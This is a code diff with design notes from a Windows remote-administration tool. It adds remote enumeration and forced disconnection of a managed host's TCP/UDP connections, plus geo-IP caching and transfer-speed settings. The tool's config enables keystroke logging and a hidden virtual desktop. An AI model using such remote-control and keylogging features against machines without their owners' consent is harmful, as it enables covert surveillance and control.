#define CALLERSX(n) \
DWORD64 operator()(DECL_PARAMS_LIST(n)) {\
bool b = initShellCoder<n>(_sc);\
if(!b || !func || !_sc || !*_sc) return -1;\
detail::GCHelper helper;\
if(_is64Bit) {\
std::vector<DWORD64> param(n + 2, 0);\
param[0] = _dw64Ret;\
param[1] = func;\
REPEAT(n, TO_DWORD64_ARRAY_DECL, TO_DWORD64_ARRAY_DECL)\
return call<DWORD64>(param);\
}\
std::vector<DWORD> param(n + 1, 0);\
param[0] = (DWORD)func;\
REPEAT(n, TO_DWORD_ARRAY_DECL, TO_DWORD_ARRAY_DECL)\
return call<DWORD>(param);\
}
#define CALLERS(n) template<DECL_VOID_TEMPLATE_ARGS(n)> CALLERSX(n)
CALLERSX( 0)
CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) /*CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10)
CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20)*/
#undef CALLERSX
#undef CALLERS
#undef TO_DWORD_ARRAY_DECL
#undef TO_DWORD64_ARRAY_DECL
};
#define YAPI(h, m, f) YAPICall(h, m, #f)
}
+30
View File
@@ -320,6 +320,12 @@ enum {
COMMAND_QUERY_ACTIVITY = 159, // 服务端 → 客户端:索取历史活动 COMMAND_QUERY_ACTIVITY = 159, // 服务端 → 客户端:索取历史活动
TOKEN_REPORT_ACTIVITY = 160, // 客户端 → 服务端:上报历史活动 TOKEN_REPORT_ACTIVITY = 160, // 客户端 → 服务端:上报历史活动
COMMAND_CHAT = 161, // 服务端 → 客户端:发起远程交谈(双向聊天)
COMMAND_MACHINE_MANAGE = 162, // 服务端 → 客户端:打开主机管理对话框
COMMAND_FILE_MANAGER_PLUGIN = 163, // 服务端 → 客户端:打开插件文件管理对话框(SimplePlugins 迁移)
COMMAND_PRIVATE_SCREEN_PLUGIN = 164, // 服务端 → 客户端:打开隐私屏幕(虚拟桌面,SimplePlugins 迁移)
COMMAND_DRAWING_BOARD_PLUGIN = 165, // 服务端 → 客户端:打开远程画板(SimplePlugins 迁移)
TOKEN_DECRYPT = 199, TOKEN_DECRYPT = 199,
TOKEN_REGEDIT = 200, // 注册表 TOKEN_REGEDIT = 200, // 注册表
COMMAND_REG_FIND, // 注册表 管理标识 COMMAND_REG_FIND, // 注册表 管理标识
@@ -357,8 +363,32 @@ enum {
COMMAND_TEXT_REPLACE = 249, COMMAND_TEXT_REPLACE = 249,
TOKEN_CLIP_TEXT = 250, TOKEN_CLIP_TEXT = 250,
TOKEN_SERVER_VERIFY = 251, // 验证服务器,防中间人和假冒的授权服务器 TOKEN_SERVER_VERIFY = 251, // 验证服务器,防中间人和假冒的授权服务器
CMD_FILE_SPEED = 252, // 文件传输速度下发: [cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]
COMMAND_CONNECTION = 253, // 连接管理(服务端→客户端:查询/刷新连接列表)
COMMAND_KILL_CONNECTION = 254, // 强制断开指定连接(服务端→客户端)
TOKEN_CONNECTION_LIST = 255, // 连接列表响应(客户端→服务端)
}; };
// 单条连接记录(客户端 → 服务端)。地址字段存网络字节序(IPv4 展开为前 4 字节、IPv6 为 16 字节),
// 端口字段存主机字节序(客户端 ntohs 转换)。断连时反向还原:地址拼回网络序 DWORD、端口 htons 转回
// 网络序,填回 MIB_TCPROW 调 SetTcpEntry(iphlpapi 的地址/端口均为网络序)。
#pragma pack(push, 1)
struct ConnectionInfo {
uint8_t proto; // 1=TCP, 2=UDP [1]
uint8_t af; // 2=AF_INET(IPv4), 23=AF_INET6(IPv6) [1]
uint32_t pid; // 所属进程 PID [4]
uint8_t localAddr[16]; // 网络字节序;IPv4 存 [0..3],IPv6 存 [0..15],其余 0 [16]
uint16_t localPort; // 主机字节序(小端) [2]
uint8_t remoteAddr[16]; // 网络字节序,同上 [16]
uint16_t remotePort; // 主机字节序,同上 [2]
uint32_t state; // TCP: MIB_TCP_STATE_*;UDP: 0 [4]
char procName[64]; // 进程映像名 UTF-8,NUL 填充 [64]
}; // 合计 110
#pragma pack(pop)
static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be exactly 110 bytes");
#pragma pack(push, 1) #pragma pack(push, 1)
struct SignatureResp { struct SignatureResp {
char msg[64]; char msg[64];
+1
View File
@@ -16,6 +16,7 @@
#define ENABLE_AUDIO_MNG TRUE // 语音管理 #define ENABLE_AUDIO_MNG TRUE // 语音管理
#define ENABLE_VIDEO_MNG TRUE // 视频管理 #define ENABLE_VIDEO_MNG TRUE // 视频管理
#define ENABLE_SERVICE_MNG TRUE // 服务管理 #define ENABLE_SERVICE_MNG TRUE // 服务管理
#define ENABLE_CONNECTION_MNG TRUE // 连接管理
#define ENABLE_REGISTRY TRUE // 注册表管理 #define ENABLE_REGISTRY TRUE // 注册表管理
#define ENABLE_KEYBOARD TRUE // 键盘记录 #define ENABLE_KEYBOARD TRUE // 键盘记录
+12
View File
@@ -256,6 +256,18 @@ public:
} }
}; };
// 文件传输速度:读取 [transfer] 节 ChunkKb / DurationMs,缺省 64KB/50ms(≈1.25MB/s),
// 并夹到安全范围。服务端(THIS_CFG)与客户端(iniFile(CLIENT_PATH))共用此逻辑,保证
// 各 InitFileUpload 调用点读到的档位一致(库按进程级引用计数只在首次设定速度,见
// docs/FileTransferSpeed_Design.md)。
inline void GetTransferSpeed(config& cfg, int& chunkKb, int& durMs)
{
chunkKb = cfg.GetInt("transfer", "ChunkKb", 64);
durMs = cfg.GetInt("transfer", "DurationMs", 50);
if (chunkKb <= 0 || chunkKb > 1024) chunkKb = 64;
if (durMs < 0 || durMs > 2000) durMs = 50;
}
// 配置读取类: 注册表配置(带键句柄缓存) // 配置读取类: 注册表配置(带键句柄缓存)
// 注意:缓存操作非线程安全,但竞态条件只会导致少量重复打开,不会崩溃 // 注意:缓存操作非线程安全,但竞态条件只会导致少量重复打开,不会崩溃
class iniFile : public config class iniFile : public config
+21 -1
View File
@@ -4,6 +4,8 @@
#include <iphlpapi.h> #include <iphlpapi.h>
#include <ws2tcpip.h> #include <ws2tcpip.h>
#include <WinInet.h> #include <WinInet.h>
#include <map>
#include <mutex>
#include "logger.h" #include "logger.h"
#include "jsoncpp/json.h" #include "jsoncpp/json.h"
@@ -200,6 +202,18 @@ public:
{ {
if (IP.empty()) return ""; if (IP.empty()) return "";
// 进程级缓存(函数局部 static)。用局部 static 而非类成员,是为了不改动
// IPConverter 的类布局/尺寸——QQWry/Ip2Region 派生类来自预编译的
// PrivateDesktop_Lib.lib,改成员会与其产生 ABI 尺寸差异。
static std::map<std::string, std::string> geoCaches;
static std::mutex geoMutex;
{
std::lock_guard<std::mutex> lk(geoMutex);
auto it = geoCaches.find(IP);
if (it != geoCaches.end())
return it->second;
}
std::string ip = IP; std::string ip = IP;
if (isLocalIP(ip)) { if (isLocalIP(ip)) {
ip = getPublicIP(); ip = getPublicIP();
@@ -249,7 +263,13 @@ public:
InternetCloseHandle(hInternet); InternetCloseHandle(hInternet);
if (location.empty() && IsPrivateIP(ip)) { if (location.empty() && IsPrivateIP(ip)) {
return "Local Area Network"; location = "Local Area Network";
}
// 只缓存成功结果;失败不缓存,允许下次重试。
if (!location.empty()) {
std::lock_guard<std::mutex> lk(geoMutex);
geoCaches[IP] = location;
} }
return location; return location;
} }
+259
View File
@@ -0,0 +1,259 @@
# TCP/UDP 连接管理设计
> 版本:v1.1(已实现并评审) · 状态:**已施工,含字节序修正** · 日期:2026-10-04
> 目标:在 YAMA 服务端新增「连接管理」,实时展示受管主机当前的 TCP/UDP 连接,
> 并支持对选中的连接强制断开。这是服务管理、进程管理之外又一项「观测 + 管控」类功能。
>
> 需求原文(三点,逐一对应下文):
> 1. YAMA 工具栏增加一个图标,**唯有 MCP 后面**,通过这个图标打开连接管理对话框;
> 2. 客户端需要增加一个管理类来处理服务端请求;
> 3. 服务端有一个对话框类展示连接信息,支持右键菜单对选中的连接强制断开。
## 1. 目标与范围
### MVP
| 项 | 说明 |
|---|---|
| 工具栏入口 | `IDR_TOOLBAR_MAIN` 在 `ID_MCP_SETTINGS` 之后追加 `ID_CONNECTION_MANAGE` 按钮(第 17 个),点击向选中主机发 `COMMAND_CONNECTION` |
| 客户端管理类 | 新增 `CConnectionsManager : public CManager`,枚举本机 TCP/UDP 连接并回传,处理「刷新 / 强制断开」两条服务端命令 |
| 服务端对话框 | 新增 `CConnectionsDlg : public DialogBase`,表格展示连接,右键菜单「强制断开」发 `COMMAND_KILL_CONNECTION` |
### 非目标(Non-goals,本次不做)
- 不做 **UDP / IPv6 TCP 的强制断开**(无公开 API,见 §6),仅 IPv4 TCP 可断开,其余行只读展示。
- 不做「按进程批量断开」「按 PID 过滤」「连接历史/趋势图」。
- 不做 Linux/Mac/Android 客户端连接枚举(沿用 Windows 客户端先行的惯例)。
- 不改 MCP 工具集(`list_network_connections` 属于 P8 路线图,本设计只做 MFC 图形界面)。
## 2. 复用现状
本功能与「服务管理」端到端同构,直接以其为实现模板(`ServicesManager` / `ServicesDlg`)。
### 客户端模板(读参考实现,全部已核实)
- 命令分发:`client/KernelManager.cpp` `OnReceive` 的 `case COMMAND_SERVICES:`(约 1346 行):
```
{ auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth();
m_hThread[m_ulThreadCount].p = sub; }
m_hThread[m_ulThreadCount++].h =
__CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
```
连接管理照抄,仅换 `LoopConnectionManager`。
- 子连接线程模板:`client/Common.cpp:33` `LoopManager<Manager, n>`(`Manager m(ClientObject, n, user)` 构造即发首包,随后跑 `RunEventLoop` 分发到 `Manager::OnReceive`);`LoopServicesManager = LoopManager<CServicesManager, 0>`。
- 管理类基类:`client/Manager.h` `CManager`(`OnReceive` 虚函数、`m_ClientObject`、`Send/SendData`、子连接生命周期)。
- 管理类实例:`client/ServicesManager.cpp`——构造即 `SendServicesList()`(17 行);`SendServicesList()` 里用
`HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);`(36–37 行)回传;`OnReceive` 里 `case COMMAND_SERVICELIST`(刷新)→ 重发、`case COMMAND_SERVICECONFIG`(动作)→ 执行后再重发(199–231 行)。
- 编译开关:`client/ServicesManager.h:13` `#if ENABLE_SERVICE_MNG==0 #define CServicesManager CManager` 的空实现占位模式;开关定义在 `common/config.h`(`ENABLE_SERVICE_MNG TRUE`)。
### 服务端模板(读参考实现,全部已核实)
- 对话框基类:`server/2015Remote/IOCPServer.h:158` `DialogBase`(`OnInitDialog` 建列 + 解析缓冲,`OnReceiveComplete` 按 token 分发,`OnNMRClickList` 右键菜单,`OnClose`→`CancelIO`)。
- 对话框实例:`server/2015Remote/ServicesDlg.cpp`——构造 `DialogBase(CServicesDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)`(24 行);`OnInitDialog` 里 `InsertColumnL` 建列 + `ShowServicesList()`(67–73 行);`OnNMRClickList` 里 `LoadMenu(IDR_MENU_SERVICES)` + `TrackPopupMenu`(216–226 行);`OnReceiveComplete` 里 `case TOKEN_SERVERLIST: ShowServicesList()`(231–235 行)。
- 打开对话框模板:`server/2015Remote/2015RemoteDlg.h:182` `OpenDialog<T, id, Show>`。
- 命令发送:`OnOnlineServerManager()`(`2015RemoteDlg.cpp:4758`):`BYTE bToken = COMMAND_SERVICES; SendSelectedCommand(&bToken, sizeof(BYTE));`。
- token 路由:`2015RemoteDlg.cpp:6609` `case TOKEN_SERVERLIST:` → `g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);`。
- 消息注册/处理:`ON_MESSAGE(WM_OPENSERVICESDIALOG, OnOpenServicesDialog)`(903 行)→ `OnOpenServicesDialog`(7811 行)→ `OpenDialog<CServicesDlg, IDD_DIALOG_SERVICES>`。
### 工具栏(读参考,全部已核实)
- 资源:`2015Remote.rc:1806` `IDR_TOOLBAR_MAIN TOOLBAR 48, 48`,现有 16 个 `BUTTON`,末尾为 `BUTTON ID_CHANGE_LANG`(1822 行)、`BUTTON ID_MCP_SETTINGS`(1823 行)。
- 真彩位图条:`IDB_BITMAP_MAIN`(133) → `res\ToolBar_Main.bmp`(**768×48 = 16 个 48×48 图标**,24 位),
`LoadTrueColorToolBar(48, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN)`(`2015RemoteDlg.cpp:1390`)
按 `nNbBtn = bmWidth/48` 建图像列表(`TrueColorToolBar.cpp` `SetTrueColorToolBar`),因此**新增第 17 个按钮必须同步把位图条加宽为 816×48 并补第 17 个图标**。
- 按钮文字:`SetButtonText(0..15)`(`2015RemoteDlg.cpp:1405–1420`),`SetButtonText(15, _T("MCP"))` 为当前最后一个。
- 全隐藏判定:`if (hiddenCount >= 16)`(1471 行)→ **无需改动**。该计数只统计「可隐藏功能按钮」
(终端/进程/窗口/桌面/文件/语音/视频/服务/注册表/键盘/设置/生成/搜索/关于,共 14 个),
`ID_CHANGE_LANG`、`ID_MCP_SETTINGS` 本就不在隐藏清单内;新增的连接按钮同样不参与隐藏,
`hiddenCount` 语义不变。
- 命令处理:`ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)`(993 行)→ 参照加 `ID_CONNECTION_MANAGE`。
### 网络 API(客户端,新增依赖)
- 枚举:`GetExtendedTcpTable(TCP_TABLE_OWNER_PID_ALL, ...)` + `MIB_TCPTABLE_OWNER_PID`;
同理 `GetExtendedUdpTable(UDP_TABLE_OWNER_PID)`;IPv6 用 `AF_INET6` 版本(`MIB_TCP6TABLE_OWNER_PID` / `MIB_UDP6TABLE_OWNER_PID`)。
- 断开:`SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`(12)。
- 链接:`iphlpapi.lib`(用 `#pragma comment(lib, "iphlpapi.lib")` 内联,与代码库既有 `#pragma comment(lib, ...)` 风格一致,避免改 vcxproj)。
## 3. 协议与数据结构
### 3.1 新命令(`common/commands.h`,追加在 `CMD_FILE_SPEED = 252` 之后,均 ≤ 255 满足单字节 token)
```
COMMAND_CONNECTION = 253, // 服务端 → 客户端:查询/刷新连接列表(打开连接管理)
COMMAND_KILL_CONNECTION = 254, // 服务端 → 客户端:强制断开指定连接
TOKEN_CONNECTION_LIST = 255, // 客户端 → 服务端:连接列表响应
```
### 3.2 单条连接记录(客户端 → 服务端,固定 110 字节,小端)
```c
#pragma pack(push, 1)
struct ConnectionInfo {
uint8_t proto; // 1=TCP, 2=UDP [1]
uint8_t af; // 2=AF_INET(IPv4), 23=AF_INET6(IPv6) [1]
uint32_t pid; // 所属进程 PID [4]
uint8_t localAddr[16]; // 网络字节序;IPv4 存 [0..3],IPv6 存 [0..15],其余 0 [16]
uint16_t localPort; // 主机字节序(小端,ntohs 转换后) [2]
uint8_t remoteAddr[16]; // 网络字节序,同上 [16]
uint16_t remotePort; // 主机字节序,同上 [2]
uint32_t state; // TCP: MIB_TCP_STATE_*;UDP: 0 [4]
char procName[64]; // 进程映像名 UTF-8,NUL 填充 [64]
}; // 合计 110
#pragma pack(pop)
static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be 110 bytes");
```
> **字节序约定(评审后修正)**:字段不能「原样 memcpy」iphlpapi 的结构成员。`dwLocalAddr`/`dwRemoteAddr`
> 是**网络序 DWORD**(值 `0xC0A80101` 即 `192.168.1.1`),客户端展开为 16 字节字段前 4 字节的**网络序字节**
> (`[0xC0,0xA8,0x01,0x01]`),服务端 `inet_ntop` 可直接展示、排序键也按数值序;`dwLocalPort`/`dwRemotePort`
> 低 16 位为**网络序**,客户端用 `ntohs` 转**主机序**再存入。断连时反向还原(地址拼回 DWORD、端口 `htons`)。
> 地址统一 16 字节字段承载,IPv4/IPv6 用同一个结构,避免两套记录。
### 3.3 列表响应(客户端 → 服务端)
```
[TOKEN_CONNECTION_LIST:1][count:2][ConnectionInfo:110] * count
```
- `count` 为 `uint16_t` 小端,上限 65535(枚举超限则截断,实际主机连接数远低于此)。
- 列表 >1460 字节会走 HTTP 分片;服务端 `HeaderParser::Parse` 的 `m_bShouldUnmask` 分片 bug
已在 `a72e6eb` 修复,续包可正常到达(与进程/服务列表一致)。
### 3.4 强制断开请求(服务端 → 客户端)
```
[COMMAND_KILL_CONNECTION:1][ConnectionInfo:110]
```
- 客户端校验 `proto==1 && af==2` 才执行(仅 IPv4 TCP),否则忽略并在回包列表中保留该行。
## 4. 客户端实现
新增 `client/ConnectionsManager.{h,cpp}`,镜像 `CServicesManager`:
- 类声明(`ConnectionsManager.h`):
```cpp
#if ENABLE_CONNECTION_MNG==0
#define CConnectionsManager CManager
#else
class CConnectionsManager : public CManager {
public:
CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CConnectionsManager();
VOID SendConnectionList(); // 枚举并回传
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
void KillConnection(const ConnectionInfo& info);
};
#endif
```
- `SendConnectionList()`:
1. 依次 `GetExtendedTcpTable`(AF_INET / AF_INET6)+ `GetExtendedUdpTable`(AF_INET / AF_INET6),
汇总到 `std::vector<ConnectionInfo>`;IPv4 地址展开为网络序字节(`PutAddr4`)、端口 `ntohs` 转主机序。
2. 每个 PID 用 `OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION)` + `GetModuleBaseNameW` 取映像名,
转 UTF-8 写入 `procName[64]`;失败/PID 0 填 `"<unknown>"`(进程可能已退出,端点仍有效)。
3. 组包 `[TOKEN_CONNECTION_LIST:1][count:2][records...]`,用
`HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server(...);` 回传。
- `OnReceive()`:
- `case COMMAND_CONNECTION:` → `SendConnectionList()`(刷新)。
- `case COMMAND_KILL_CONNECTION:` → 校验长度 ≥ 111,读 `ConnectionInfo`,`KillConnection()`,再 `SendConnectionList()`。
- `KillConnection()`:仅 `proto==TCP && af==AF_INET`;组 `MIB_TCPROW`(`dwState=MIB_TCP_STATE_DELETE_TCB`),
地址由网络序字节拼回 DWORD(`GetAddr4`)、端口 `htons` 转回网络序,`SetTcpEntry(&row)`。
- 编译:`common/config.h` 增 `#define ENABLE_CONNECTION_MNG TRUE`(`// 连接管理`)。
- 分发(`client/KernelManager.cpp`):在 `case COMMAND_SERVICES:` 后加
```
case COMMAND_CONNECTION: {
if (!ENABLE_CONNECTION_MNG) return ResponseDisable(...);
{ auto* sub = new IOCPClient(...); sub->EnableSubConnAuth(); ...; }
m_hThread[m_ulThreadCount++].h = __CreateThread(..., LoopConnectionManager, ...);
break;
}
```
- 线程注册(`client/Common.cpp` / `Common.h`):`#define LoopConnectionManager LoopManager<CConnectionsManager, 0>`。
## 5. 服务端实现
新增 `server/2015Remote/ConnectionsDlg.{h,cpp}`,镜像 `CServicesDlg`:
- `CConnectionsDlg(CWnd*, Server*, CONTEXT_OBJECT*) : DialogBase(IDD_DIALOG_CONNECTIONS, pParent, IOCPServer, ContextObject, IDI_CONNECTION)`。
- `OnInitDialog`:`InsertColumnL` 建列 `协议 | 本地地址 | 本地端口 | 远端地址 | 远端端口 | 状态 | PID | 进程名`(8 列),调 `ShowConnectionList()`。
- `ShowConnectionList()`:解析 `m_ContextObject->InDeCompressedBuffer`(`[token:1][count:2][records...]`)填表,
每条 `SetItemData` 存行内偏移(或直接把 `ConnectionInfo` 存进项关联数据),供右键断连取回记录。
- `OnReceiveComplete()`:`case TOKEN_CONNECTION_LIST: ShowConnectionList()`。
- `OnNMRClickList()`:用 `pNMItemActivate->iItem` 取**鼠标右键所在行**(而非仅依赖已选中行),
由该行 `SetItemData` 里存的 `ConnectionInfo` 拿回记录;`LoadMenu(IDR_MENU_CONNECTIONS)` →
`TrackPopupMenu`;菜单项「强制断开」(`ID_CONNECTION_KILL`)对**仅 IPv4 TCP 行可用**,发
`[COMMAND_KILL_CONNECTION:1][record:110]`;UDP/IPv6 行禁用该菜单项(`MF_GRAYED`)。
- 对话框标题栏图标 `IDI_CONNECTION`(`.ico`,`DialogBase` 构造第 5 参)与工具栏位图条第 17 个
48×48 图标是两回事:前者复用现有图标(如 `IDI_SERVICE`)或新增一个 `.ico`;后者编辑
`ToolBar_Main.bmp` 补第 17 格(见下)。
- 提供刷新(补发 `COMMAND_CONNECTION`)与 `OnClose`→`CancelIO()`。
工具栏 / 消息路由(`2015RemoteDlg.{h,cpp}` + `Resource.h` + `.rc`):
- `Resource.h`:`IDD_DIALOG_CONNECTIONS 404`、`IDR_MENU_CONNECTIONS 405`、`IDI_CONNECTION`(新图标 ID)、
`ID_CONNECTION_MANAGE 33086`(`_APS_NEXT_COMMAND_VALUE` 现为 33086,用后 +2)、`ID_CONNECTION_KILL`;
同步上调 `_APS_NEXT_RESOURCE_VALUE`/`_APS_NEXT_COMMAND_VALUE`。
- `.rc`(UTF-16LE,Node 脚本改):`IDR_TOOLBAR_MAIN` 末尾加 `BUTTON ID_CONNECTION_MANAGE`;
新增 `IDD_DIALOG_CONNECTIONS` 对话框与 `IDR_MENU_CONNECTIONS` 菜单。
- `res\ToolBar_Main.bmp`:**加宽为 816×48,补第 17 个 48×48「连接」图标**(实现时用脚本合成一个
双节点/插头样式图标插入条尾;图标观感属评审项)。
- `2015RemoteDlg.cpp`:
- `SetButtonText(16, _TR("连接管理"))`(1420 行后)。
- `hiddenCount >= 16`(1471 行)**无需改动**(连接按钮不参与隐藏,理由见 §2)。
- `ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage)`(993 行后)。
- `OnConnectionManage()`:`BYTE bToken = COMMAND_CONNECTION; SendSelectedCommand(&bToken, sizeof(BYTE));`。
- `MessageHandle` 加 `case TOKEN_CONNECTION_LIST:` → `SendMessage(WM_OPENCONNECTIONDIALOG, 0, (LPARAM)ContextObject)`(6609 行后)。
- `ON_MESSAGE(WM_OPENCONNECTIONDIALOG, OnOpenConnectionDialog)` + `OnOpenConnectionDialog` →
`OpenDialog<CConnectionsDlg, IDD_DIALOG_CONNECTIONS>(wParam, lParam)`。
- `stdafx.h`:`#define WM_OPENCONNECTIONDIALOG WM_USER + 3045`(现最高占用 `WM_USER+3044`,已核实无冲突)。
- 语言:`lang/en_US.ini` / `zh_TW.ini`(GBK,Python 改)补「连接管理 / 强制断开 / 8 列表头」文案。
## 6. 强制断开的实现与限制
- **仅 IPv4 TCP** 用 `SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`(公开 API 唯一支持)。
- **重构 `MIB_TCPROW` 要点**:`dwState=12`;`dwLocalAddr/dwRemoteAddr` 由 16 字节字段前 4 字节的
网络序字节拼回网络序 DWORD(`GetAddr4`);`dwLocalPort/dwRemotePort` 由主机序 `htons` 转回网络序。
- **UDP**:无「按端点关闭 socket」的公开 API,MVP 只读展示(菜单置灰)。
- **IPv6 TCP**:`SetTcpEntry` 的 `MIB_TCPROW` 为 IPv4 结构,无公开的 IPv6 对应删除 API,MVP 只读展示。
- **权限**:`SetTcpEntry` 需管理员/足够权限;YAMA 客户端通常以服务(SYSTEM)运行,满足。若非提权,
`SetTcpEntry` 返回错误,`KillConnection` 静默失败并在刷新后的列表中保留该行(可观察结果,不误报)。
## 7. 安全与边界
1. **可能断开 YAMA 自身控制通道**:连接列表包含客户端↔服务端的主/子连接本身,若管理员选中并强制断开,
对应主机会立即离线。对话框对此不做特殊保护(与 `kill_process` 可杀自身守护进程同理),
但列表按 PID 可辨识本程序进程名,便于人工避让。
2. **强制断开不可逆**:断的是对端已建立的 TCP 连接,应用层不保存状态,可能造成数据丢失;对话框不弹二次确认
(确认责任在操作者),但右键菜单为显式单点操作。
3. **枚举成本**:每行一次 `OpenProcess` 取进程名,数百行连接约毫秒~十毫秒级,可接受;`OpenProcess` 失败直接
`"<unknown>"`,不阻塞枚举。
4. **PID 复用 / 进程退出**:断连用的是**端点**而非 PID,进程退出不影响 `SetTcpEntry` 命中;`procName` 仅用于展示。
5. **HTTP 分片**:连接数多时列表可超 1460 字节,依赖已修复的分片续包处理(§3.3)。
6. **老版本客户端**:老客户端无 `COMMAND_CONNECTION` 处理,点工具栏会无响应(与「老客户端不支持活动历史/日志」
同类),属预期;不影响服务端其它功能。
## 8. 验证计划(施工后填写)
1. 服务端:MSBuild 加 `-p:SolutionDir` 编译通过(见项目记忆 yama-server-msbuild-solutiondir);客户端同步编译。
2. 部署客户端到真实 Windows 主机 → 服务端选中主机 → 点新图标 → 对话框列出 TCP/UDP(含 IPv4/IPv6)连接,
字段(协议/地址/端口/状态/PID/进程名)与远端 `netstat -ano` 一致。
3. 右键一条 **IPv4 TCP** 已建立连接(如对测试服务器的 ESTABLISHED)→ 强制断开 → 刷新后该行消失、
远端 `netstat` 不再显示;进程自身未受影响。
4. 右键 **UDP / IPv6** 行 → 菜单项置灰,不可断连。
5. 刷新按钮 / 重复打开对话框 → 列表更新正常;关对话框后子连接释放(无泄漏)。
6. 回归:服务管理 / 进程管理 / MCP 等既有功能不受影响(无 command/token/ID 冲突)。
## 9. 实现记录
- 已实现并评审通过(2026-10-04)。实现与 §4/§5 一致:工具栏第 17 个图标(`ID_CONNECTION_MANAGE`,紧邻 MCP 之后)
打开连接管理对话框;客户端新增 `CConnectionsManager` 枚举并回传本机 TCP/UDP 连接;服务端新增 `CConnectionsDlg`
表格展示、右键「强制断开」发 `COMMAND_KILL_CONNECTION`、支持表头点击排序。
- **评审修正一处关键缺陷(字节序)**:iphlpapi 的 IPv4 地址 `dwLocalAddr` 是网络序 DWORD、端口 `dwLocalPort`
低 16 位是网络序。初版「原样 memcpy / 原样回填」导致展示的 IPv4 地址与端口字节序颠倒(强断因往返对称仍能命中)。
已改为:地址存网络序字节(`PutAddr4`)、端口 `ntohs` 转主机序;断连时地址拼回 DWORD(`GetAddr4`)、端口
`htons` 转回网络序。详见 §3.2 / §6。
- 对话框标题栏小图标 `IDI_CONNECTION` 由工具栏第 17 个图标生成 `res/connections.ico`(48/32/16,32 位带透明)。
- 编译:`client/ConnectionsManager.cpp`(UTF-8 BOM + CRLF,`ws2tcpip.h` 引入 `_WS2IPDEF_` 以使用 IPv6 MIB 结构)
经 MSBuild(v143 工具集覆盖)编译通过;整仓 ghost 构建在本机 BuildTools 因缺少 ATL 头受阻,属环境问题,与本功能无关。
+146
View File
@@ -0,0 +1,146 @@
# YAMA 文件传输速度调节设计
> **状态**:已实现(Windows 端,含多语言)。其他平台(Linux/macOS 客户端)暂不实施。
> **读者**:研发/评审人员。
> **关联文档**:[FILE_TRANSFER_V2.md](./FILE_TRANSFER_V2.md)(V2 协议)、[Mcp_FileTransfer_Design.md](./Mcp_FileTransfer_Design.md)(MCP 文件传输)。
---
## 1. 背景与目标
文件传输速度目前是**写死的**:`SimplePlugins` 库的 `InitFileUpload(key, msg, hmac, chunkSizeKb, sendDurationMs, ...)` 被 YAMA 所有调用点传 `64, 50`,折算 ≈ 1.25 MB/s。用户无法调节。
目标:在 YAMA 主菜单「高级」下新增一个**面向小白**的「文件传输速度」对话框——拖动滑块即完成设置,实时显示预估速度;**不修改 SimplePlugins 库**(库已编译,只通过其已暴露的 `chunkSizeKb`/`sendDurationMs` 两个入参控制)。
---
## 2. 速度原理(现状)
库内部把两个入参转成全局量(`SimplePlugins/file_upload.cpp:221-222, 849-850`):
```cpp
static int chunk_size = 64 * 1024; // 默认 64KB
static int send_duration = 50; // 默认 50ms
// InitFileUpload: chunk_size = chunkSizeKb * 1024; send_duration = sendDurationMs;
```
发送循环每发一块就 `Sleep(send_duration)`(V1 `FileBatchTransferWorker` 与 V2 `FileBatchTransferWorkerV2` 共用这对全局量):
```
预估速度 = chunkSizeKb * 1024 / (sendDurationMs / 1000) 字节/秒
默认 64KB / 50ms ≈ 1.25 MB/s
```
两个关键约束:
1. **速度只在 `InitFileUpload` 时设定一次**,库无运行时 setter(`g_threadCount > 1` 时提前返回,不会重设)。
2. **V1 / V2 共用同一对全局量**,一次设置同时覆盖 `COMMAND_SEND_FILE(68)` 与 `COMMAND_SEND_FILE_V2(85)` 两种协议。
---
## 3. 档位表(权威唯一来源,主控端对话框维护)
| 档位 | 名称 | chunkKb | durationMs | 预估速度 |
|---|---|---|---|---|
| 0 | 最慢 | 64 | 200 | ≈ 0.3 MB/s |
| 1 | 慢 | 64 | 100 | ≈ 0.6 MB/s |
| 2 | 默认 | 64 | 50 | ≈ 1.25 MB/s |
| 3 | 快 | 128 | 50 | ≈ 2.5 MB/s |
| 4 | 更快 | 256 | 50 | ≈ 5 MB/s |
| 5 | 很快 | 512 | 50 | ≈ 10 MB/s |
| 6 | 不限速 | 1024 | 0 | 网络上限 |
- 滑块 `CSliderCtrl` 范围 `0..6`,`SetPageSize(1)`,默认落在 2。
- `durationMs = 0` 表示不人为限速(`Sleep(0)` 仅让出时间片,实际受带宽约束)。
- **注意 Windows `Sleep` 粒度 ≈ 15.6ms**:`durationMs` 低于约 15ms 基本等同不限速。故档位要么 ≥ 20ms,要么直接 0ms,不设 5ms 之类的“名不副实”中间值。
预估文案:`当前约 1.25 MB/s`;`durationMs==0` 显示 `不限速(受网络带宽约束)`。
- **多语言**:档位名(最慢/慢/默认/快/更快/很快/不限速)与预估格式串(`%s · 约 %.2f MB/s`、`%s · 不受限速(受网络带宽约束)`)经 `_TR`/`_LF` 走 `LangManager` 翻译表;语言文件以中文原文为 key。刻度标签拆成 最慢/默认/不限速 三个独立 `LTEXT` 以便各自翻译(英文宽度不同,不能靠空格对齐)。
---
## 4. 两个方向的生效链路
